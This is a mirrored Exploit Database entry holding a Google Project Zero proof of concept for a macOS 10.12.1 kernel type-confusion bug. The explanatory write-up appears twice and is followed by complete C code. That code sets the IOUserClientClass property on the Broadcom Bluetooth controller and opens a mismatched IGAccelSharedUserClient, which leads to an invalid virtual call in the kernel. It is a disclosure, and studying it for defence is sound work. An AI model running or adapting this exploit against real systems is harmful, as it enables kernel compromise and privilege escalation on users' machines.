Apple macOS 10.12.1 Kernel – Writable Privileged IOKit Registry Properties Code Execution

• Exploit Database
• 111 阅读

• 作者： Google Security Research
  日期： 2016-12-22
• 类别：

  • dos
  平台：

  • macos
• 来源：https://www.exploit-db.com/exploits/40952/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191

  /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=974   There are two ways for IOServices to define their IOUserClient classes: they can override IOService::newUserClient and allocate the correct type themselves or they can set the IOUserClientClass key in their registry entry.   The default implementation of IOService::newUserClient does this:   IOReturn IOService::newUserClient( task_t owningTask, void * securityID, UInt32 type,OSDictionary * properties, IOUserClient ** handler ) { const OSSymbol *userClientClass = 0; IOUserClient *client; OSObject *temp;   if (kIOReturnSuccess == newUserClient( owningTask, securityID, type, handler )) return kIOReturnSuccess;   // First try my own properties for a user client class name temp = getProperty(gIOUserClientClassKey); if (temp) { if (OSDynamicCast(OSSymbol, temp)) userClientClass = (const OSSymbol *) temp; else if (OSDynamicCast(OSString, temp)) { userClientClass = OSSymbol::withString((OSString *) temp); if (userClientClass) setProperty(kIOUserClientClassKey, (OSObject *) userClientClass); } }   // Didn&apos;t find one so lets just bomb out now without further ado. if (!userClientClass) return kIOReturnUnsupported;   // This reference is consumed by the IOServiceOpen call temp = OSMetaClass::allocClassWithName(userClientClass); if (!temp) return kIOReturnNoMemory;   if (OSDynamicCast(IOUserClient, temp)) client = (IOUserClient *) temp; else { temp->release(); return kIOReturnUnsupported; }   if ( !client->initWithTask(owningTask, securityID, type, properties) ) {   ... continue on and call client->start(this) to connect the client to the service   This reads the "IOUserClientClass" entry in the services registry entry and uses the IOKit reflection API to allocate it.   If an IOService doesn&apos;t want to have any IOUserClients then it has two options, either override newUserClient to return kIOReturnUnsupported or make sure that there is no IOUserClientClass entry in the service&apos;s registry entry.   AppleBroadcomBluetoothHostController takes the second approach but inherits from IOBluetoothHostController which overrides ::setProperties to allow an unprivileged user to set *all* registry entry properties, including IOUserClientClass.   This leads to a very exploitable type confusion issue as plenty of IOUserClient subclasses don&apos;t expect to be connected to a different IOService provider. In this PoC I connect an IGAccelSharedUserClient to a AppleBroadcomBluetoothHostController which leads immediately to an invalid virtual call. With more investigation I&apos;m sure you could build some very nice exploitation primitives with this bug.   Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555) */   // ianbeer // clang -o wrongclass wrongclass.c -framework IOKit -framework CoreFoundation   #if 0 MacOS kernel code execution due to writable privileged IOKit registry properties   There are two ways for IOServices to define their IOUserClient classes: they can override IOService::newUserClient and allocate the correct type themselves or they can set the IOUserClientClass key in their registry entry.   The default implementation of IOService::newUserClient does this:   IOReturn IOService::newUserClient( task_t owningTask, void * securityID, UInt32 type,OSDictionary * properties, IOUserClient ** handler ) { const OSSymbol *userClientClass = 0; IOUserClient *client; OSObject *temp;   if (kIOReturnSuccess == newUserClient( owningTask, securityID, type, handler )) return kIOReturnSuccess;   // First try my own properties for a user client class name temp = getProperty(gIOUserClientClassKey); if (temp) { if (OSDynamicCast(OSSymbol, temp)) userClientClass = (const OSSymbol *) temp; else if (OSDynamicCast(OSString, temp)) { userClientClass = OSSymbol::withString((OSString *) temp); if (userClientClass) setProperty(kIOUserClientClassKey, (OSObject *) userClientClass); } }   // Didn&apos;t find one so lets just bomb out now without further ado. if (!userClientClass) return kIOReturnUnsupported;   // This reference is consumed by the IOServiceOpen call temp = OSMetaClass::allocClassWithName(userClientClass); if (!temp) return kIOReturnNoMemory;   if (OSDynamicCast(IOUserClient, temp)) client = (IOUserClient *) temp; else { temp->release(); return kIOReturnUnsupported; }   if ( !client->initWithTask(owningTask, securityID, type, properties) ) {   ... continue on and call client->start(this) to connect the client to the service   This reads the "IOUserClientClass" entry in the services registry entry and uses the IOKit reflection API to allocate it.   If an IOService doesn&apos;t want to have any IOUserClients then it has two options, either override newUserClient to return kIOReturnUnsupported or make sure that there is no IOUserClientClass entry in the service&apos;s registry entry.   AppleBroadcomBluetoothHostController takes the second approach but inherits from IOBluetoothHostController which overrides ::setProperties to allow an unprivileged user to set *all* registry entry properties, including IOUserClientClass.   This leads to a very exploitable type confusion issue as plenty of IOUserClient subclasses don&apos;t expect to be connected to a different IOService provider. In this PoC I connect an IGAccelSharedUserClient to a AppleBroadcomBluetoothHostController which leads immediately to an invalid virtual call. With more investigation I&apos;m sure you could build some very nice exploitation primitives with this bug.   Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)   #endif   #include <stdio.h> #include <stdlib.h>   #include <mach/mach.h>   #include <IOKit/IOKitLib.h> #include <CoreFoundation/CoreFoundation.h>   int main(){ io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleBroadcomBluetoothHostController"));   if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 1; } printf("got service: %x\n", service);   // try to set the prop: kern_return_t err; err = IORegistryEntrySetCFProperty( service, CFSTR("IOUserClientClass"), CFSTR("IGAccelSharedUserClient")); if (err != KERN_SUCCESS){ printf("setProperty failed\n"); } else { printf("set the property!!\n"); }   // open a userclient: io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 0, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 1; }   printf("got userclient connection: %x\n", conn);   return 0; }